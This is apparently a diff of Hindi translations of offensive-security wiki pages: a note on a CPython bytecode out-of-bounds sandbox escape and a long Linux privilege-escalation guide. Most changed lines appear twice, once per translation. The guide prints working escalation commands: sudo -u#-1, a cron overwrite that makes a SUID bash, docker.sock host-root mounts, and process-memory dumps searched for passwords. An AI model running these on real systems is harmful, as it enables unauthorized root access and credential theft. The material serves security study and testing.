ध्यान दें कि `LOAD_ATTR` भी `co_names` से नाम प्राप्त करता है। यदि नाम समान है, तो Python उसी ऑफसेट से नाम लोड करता है, इसलिए दूसरा `__getattribute__` अभी भी offset=5 से लोड होता है। इस विशेषता का उपयोग करके, हम मनमाना नाम उपयोग कर सकते हैं जब नाम पास की मेमोरी में हो।
संख्याएँ उत्पन्न करना तुच्छ होना चाहिए:
@ -222,16 +222,16 @@ builtins['eval'](builtins['input']())
### संस्करण नोट्स और प्रभावित ऑपकोड (Python 3.113.13)
- CPython बाइटकोड ऑपकोड अभी भी `co_consts` और `co_names` ट्यूपल्स में पूर्णांक ऑपरेशंस द्वारा अनुक्रमित होते हैं। यदि एक हमलावर इन ट्यूपल्स को खाली (या बाइटकोड द्वारा उपयोग किए गए अधिकतम अनुक्रमांक से छोटा) करने के लिए मजबूर कर सकता है, तो इंटरप्रेटर उस अनुक्रमांक के लिए आउट-ऑफ-बाउंड मेमोरी पढ़ेगा, जिससे निकटवर्ती मेमोरी से एक मनमाना PyObject पॉइंटर प्राप्त होगा। प्रासंगिक ऑपकोड में कम से कम शामिल हैं:
- CPython बाइटकोड ऑपकोड अभी भी `co_consts` और `co_names` ट्यूपल्स में पूर्णांक ऑपरेशंस द्वारा इंडेक्स करते हैं। यदि एक हमलावर इन ट्यूपल्स को खाली (या बाइटकोड द्वारा उपयोग किए गए अधिकतम इंडेक्स से छोटा) करने के लिए मजबूर कर सकता है, तो इंटरप्रेटर उस इंडेक्स के लिए आउट-ऑफ-बाउंड मेमोरी पढ़ेगा, जिससे निकटवर्ती मेमोरी से एक मनमाना PyObject पॉइंटर प्राप्त होगा। प्रासंगिक ऑपकोड में कम से कम शामिल हैं:
- `LOAD_CONST consti` → पढ़ता है `co_consts[consti]`
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → नाम पढ़ते हैं `co_names[...]` से (3.11+ के लिए ध्यान दें `LOAD_ATTR`/`LOAD_GLOBAL` स्टोर फ्लैग बिट्स निम्न बिट में हैं; वास्तविक अनुक्रमांक `namei >> 1` है)। प्रत्येक संस्करण के लिए सटीक अर्थ के लिए डिसअसेंबलर दस्तावेज़ देखें। [Python dis docs]।
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → नाम पढ़ते हैं `co_names[...]` से (3.11+ के लिए ध्यान दें `LOAD_ATTR`/`LOAD_GLOBAL` स्टोर फ्लैग बिट्स निम्न बिट में हैं; वास्तविक इंडेक्स है `namei >> 1`)। प्रत्येक संस्करण के लिए सटीक अर्थ के लिए डिसअसेंबलर दस्तावेज़ देखें। [Python dis docs]।
- Python 3.11+ ने अनुकूली/इनलाइन कैश पेश किए हैं जो निर्देशों के बीच छिपे हुए `CACHE` प्रविष्टियाँ जोड़ते हैं। यह OOB प्राइमिटिव को नहीं बदलता; इसका मतलब केवल यह है कि यदि आप बाइटकोड को हाथ से बनाते हैं, तो आपको `co_code` बनाते समय उन कैश प्रविष्टियों का ध्यान रखना होगा।
व्यावहारिक प्रभाव: इस पृष्ठ में तकनीक CPython 3.11, 3.12 और 3.13 पर काम करना जारी रखती है जब आप एक कोड ऑब्जेक्ट को नियंत्रित कर सकते हैं (जैसे, `CodeType.replace(...)` के माध्यम से) और `co_consts`/`co_names` को छोटा कर सकते हैं।
### उपयोगी OOB अनुक्रमांक के लिए त्वरित स्कैनर (3.11+/3.12+ संगत)
### उपयोगी OOB इंडेक्स के लिए त्वरित स्कैनर (3.11+/3.12+ संगत)
यदि आप उच्च-स्तरीय स्रोत से नहीं बल्कि सीधे बाइटकोड से दिलचस्प ऑब्जेक्ट्स के लिए जांचना पसंद करते हैं, तो आप न्यूनतम कोड ऑब्जेक्ट्स उत्पन्न कर सकते हैं और अनुक्रमांक को ब्रूट फोर्स कर सकते हैं। नीचे दिया गया सहायक आवश्यकतानुसार इनलाइन कैश स्वचालित रूप से सम्मिलित करता है।
यदि आप उच्च-स्तरीय स्रोत से नहीं बल्कि सीधे बाइटकोड से दिलचस्प ऑब्जेक्ट्स के लिए जांचना पसंद करते हैं, तो आप न्यूनतम कोड ऑब्जेक्ट्स उत्पन्न कर सकते हैं और इंडेक्स को ब्रूट फोर्स कर सकते हैं। नीचे दिया गया सहायक आवश्यकतानुसार इनलाइन कैश स्वचालित रूप से सम्मिलित करता है।
```python
import dis, types

View File

@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Path
यदि आपके पास `PATH` वेरिएबल के अंदर किसी भी फ़ोल्डर पर लिखने की अनुमति है, तो आप कुछ लाइब्रेरी या बाइनरी को हाजैक करने में सक्षम हो सकते हैं:
यदि आपके पास `PATH` वेरिएबल के अंदर किसी भी फ़ोल्डर पर लिखने की अनुमति है, तो आप कुछ लाइब्रेरी या बाइनरी को हाजैक करने में सक्षम हो सकते हैं:
```bash
echo $PATH
```
@ -26,14 +26,14 @@ echo $PATH
```
### Kernel exploits
कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है
कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
आप एक अच्छा कमजोर कर्नेल सूची और कुछ पहले से **संकलित एक्सप्लॉइट्स** यहाँ पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)।\
अन्य साइटें जहाँ आप कुछ **संकलित एक्सप्लॉइट्स** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
आप एक अच्छा कमजोर कर्नेल सूची और कुछ पहले से **compiled exploits** यहाँ पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)।\
अन्य साइटें जहाँ आप कुछ **compiled exploits** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
उस वेब से सभी कमजोर कर्नेल संस्करणों को निकालने के लिए आप कर सकते हैं:
```bash
@ -49,7 +49,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
### CVE-2016-5195 (DirtyCow)
Linux विशेषाधिकार वृद्धि - Linux Kernel <= 3.19.0-73.8
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
```
### Dmesg सिग्नेचर सत्यापन विफल
**smasher2 box of HTB** के लिए एक **उदाहरण** देखें कि इस vuln का कैसे शोषण किया जा सकता है
**smasher2 box of HTB** के लिए इस vuln के शोषण के एक **उदाहरण** की जांच करें
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -162,22 +162,22 @@ rpm -qa #Centos
## Processes
देखें कि **कौन से प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **उससे अधिक विशेषाधिकार** रखती है जितनी उसे होनी चाहिए (शायद एक टॉमकैट जिसे रूट द्वारा निष्पादित किया जा रहा है?)
देखें कि **कौन से प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **जितनी होनी चाहिए उससे अधिक विशेषाधिकार** रखती है (शायद एक tomcat जिसे root द्वारा निष्पादित किया जा रहा है?)
```bash
ps aux
ps -ef
top -n 1
```
हमेशा संभावित [**electron/cef/chromium debuggers** की जांच करें, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया की कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\
हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया की कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\
साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी को ओवरराइट कर सकते हैं।
### प्रक्रिया निगरानी
आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब आवश्यकताओं का एक सेट पूरा होता है
आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब एक सेट आवश्यकताएँ पूरी होती हैं
### प्रक्रिया मेमोरी
कुछ सर्वर की सेवाए **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\
कुछ सर्वर की सेवाए **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\
सामान्यतः, आपको अन्य उपयोगकर्ताओं से संबंधित प्रक्रियाओं की मेमोरी पढ़ने के लिए **रूट विशेषाधिकार** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही रूट हैं और अधिक क्रेडेंशियल्स खोजने की कोशिश कर रहे हैं।\
हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**
@ -188,8 +188,8 @@ top -n 1
>
> - **kernel.yama.ptrace_scope = 0**: सभी प्रक्रियाओं को डिबग किया जा सकता है, जब तक कि उनके पास समान uid हो। यह ptracing के काम करने का पारंपरिक तरीका है।
> - **kernel.yama.ptrace_scope = 1**: केवल एक माता-पिता प्रक्रिया को डिबग किया जा सकता है।
> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि इसके लिए CAP_SYS_PTRACE क्षमता की आवश्यकता होती है।
> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाए ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए एक रिबूट की आवश्यकता होती है।
> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि यह CAP_SYS_PTRACE क्षमता की आवश्यकता होती है।
> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाए ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए एक रिबूट की आवश्यकता होती है।
#### GDB
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है****maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को फ़ाइल में डंप करने** के लिए करते हैं।
किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है****maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं।
```bash
procdump()
(
@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
```
### ProcDump for linux
ProcDump एक Linux में Sysinternals टूल्स के सूट से क्लासिक ProcDump टूल का पुनः आविष्कार है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें।
ProcDump एक Linux में Sysinternals टूल्स के सूट से क्लासिक ProcDump टूल का पुनः कल्पना है जो Windows के लिए है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें।
```
procdump -p 1714
@ -276,19 +276,19 @@ Press Ctrl-C to end monitoring without terminating the process.
#### Manual example
यदि आप पाते हैं कि ऑथेंटिकेटर प्रक्रिया चल रही है:
यदि आप पाते हैं कि प्रमाणीकरण प्रक्रिया चल रही है:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
आप प्रक्रिया को डंप कर सकते हैं (विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें जो एक प्रक्रिया की मेमोरी को डंप करने के लिए हैं) और मेमोरी के अंदर क्रेडेंशियल्स क खोज कर सकते हैं:
आप प्रक्रिया को डंप कर सकते हैं (प्रक्रिया की मेमोरी को डंप करने के विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें) और मेमोरी के अंदर क्रेडेंशियल्स के लिए खोज कर सकते हैं:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
यह उपकरण [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **मेमोरी से स्पष्ट पाठ क्रेडेंशियल्स** और कुछ **ज्ञात फ़ाइलों** से **चोरी** करेगा। इसे सही तरीके से काम करने के लिए रूट विशेषाधिकारों की आवश्यकता होती है।
यह उपकरण [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **मेमोरी से स्पष्ट पाठ क्रेडेंशियल्स** और कुछ **अच्छी तरह से ज्ञात फ़ाइलों** से **चोरी** करेगा। इसे सही तरीके से काम करने के लिए रूट विशेषाधिकार की आवश्यकता होती है।
| विशेषता | प्रक्रिया का नाम |
| ------------------------------------------------- | -------------------- |
@ -350,7 +350,7 @@ wildcards-spare-tricks.md
### क्रोन स्क्रिप्ट ओवरराइटिंग और सिम्लिंक
यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं**ो रूट द्वारा निष्पादित होती है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं:
यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं**िसे रूट द्वारा निष्पादित किया जाता है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
@ -368,11 +368,11 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
**आप भी उपयोग कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह हर प्रक्रिया की निगरानी करेगा और सूचीबद्ध करेगा जो शुरू होती है)।
**आप भी** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **का उपयोग कर सकते हैं** (यह हर प्रक्रिया की निगरानी करेगा और सूचीबद्ध करेगा जो शुरू होती है)।
### अदृश्य क्रोन जॉब्स
यह संभव है कि एक क्रोनजॉब **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के) बनाया जाए, और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें):
एक क्रोनजॉब **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के) बनाना संभव है, और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -399,7 +399,7 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
फिर, एक **कार्यकारी** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **बैकडोर निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते हैं लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)।
फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)।
**सेवाओं के बारे में अधिक जानें `man systemd.service` के साथ।**
@ -419,18 +419,18 @@ Unit=backdoor.service
```
डॉक्यूमेंटेशन में आप पढ़ सकते हैं कि यूनिट क्या है:
> वह यूनिट जिसे सक्रिय करना है जब यह टाइमर समाप्त होता है। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, सिवाय उपसर्ग के। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, सिवाय उपसर्ग के
> जब यह टाइमर समाप्त होता है, तो सक्रिय करने के लिए यूनिट। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, केवल उपसर्ग को छोड़कर। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, केवल उपसर्ग को छोड़कर
इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको चाहिए:
- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रही है
- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रही है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए)
**टाइमर्स के बारे में अधिक जानें `man systemd.timer` के साथ।**
**`man systemd.timer` के साथ टाइमर्स के बारे में अधिक जानें।**
### **टाइमर सक्षम करना**
टाइमर को सक्षम करने के लिए आपको रूट अनुमतियाँ चाहिए और निष्पादित करना होगा:
टाइमर को सक्षम करने के लिए आपको रूट अनुमतियों की आवश्यकता है और निष्पादित करना होगा:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
@ -439,15 +439,15 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd
## Sockets
Unix Domain Sockets (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सरवर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक Unix डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेट किए जाते हैं।
Unix Domain Sockets (UDS) **प्रक्रिया संचार** को एक ही या विभिन्न मशीनों पर क्लाइंट-सरवर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक Unix डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेट अप किए जाते हैं।
Sockets को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है।
**`man systemd.socket` के साथ सॉकेट के बारे में अधिक जानें।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहा सुनने जा रहा है** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि)
- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **असत्य**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहा एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से असत्य**। प्रदर्शन कारणों से, नए डेमनों को केवल इस तरीके से लिखने की सिफारिश की जाती है जो `Accept=no` के लिए उपयुक्त हो
- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, सके बाद प्रक्रिया के लिए तर्क होते हैं।
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहा सुनने जा रहा है** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि)
- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **असत्य**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहा एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से असत्य**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है।
- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, सके बाद प्रक्रिया के लिए तर्क होते हैं।
- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** होते हैं।
- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय करने** के लिए **सेवा** इकाई नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा के लिए डिफ़ॉल्ट है जिसका नाम सॉकेट के समान है (स suffix को प्रतिस्थापित किया गया है)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए।
@ -458,7 +458,7 @@ _ध्यान दें कि सिस्टम को उस सॉके
### Writable sockets
यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम Unix Sockets के बारे में बात कर रहे हैं और कॉन्फ़िगरेशन `.socket` फ़ाइलों के बारे में नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं।
यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम Unix Sockets की बात कर रहे हैं और config `.socket` फ़ाइलों की नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं।
### Enumerate Unix Sockets
```bash
@ -481,19 +481,19 @@ socket-command-injection.md
### HTTP सॉकेट
ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की बात कर रहा हूँ जो यूनिक्स सॉकेट के रूप में कार्य करी हैं_)। आप इसे इस तरह जांच सकते हैं:
ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे इस तरह जांच सकते हैं:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ** उठा सकते हैं।
### Writable Docker Socket
### लिखने योग्य डॉकर सॉकेट
Docker सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट तक लिखने की पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक विधियाँ यदि Docker CLI उपलब्ध नहीं है।
डॉकर सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट तक लिखने की पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक तरीके यदि डॉकर CLI उपलब्ध नहीं है।
#### **Privilege Escalation with Docker CLI**
#### **डॉकर CLI के साथ विशेषाधिकार वृद्धि**
यदि आपके पास Docker सॉकेट तक लिखने की पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं:
यदि आपके पास डॉकर सॉकेट तक लिखने की पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -522,7 +522,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```
3. **कंटेनर से अटैच करें:** `socat` का उपयोग करके कंटेनर से कनेक्शन स्थापित करें, जिससे इसके भीतर कमांड निष्पादन सक्षम हो सके।
3. **कंटेनर से जुड़ें:** कंटेनर से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे इसके भीतर कमांड निष्पादन सक्षम हो सके।
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@ -544,7 +544,7 @@ Upgrade: tcp
docker-security/
{{#endref}}
## Containerd (ctr) अधिकार बढ़ाना
## कंटेनरडी (ctr) अधिकार बढ़ाना
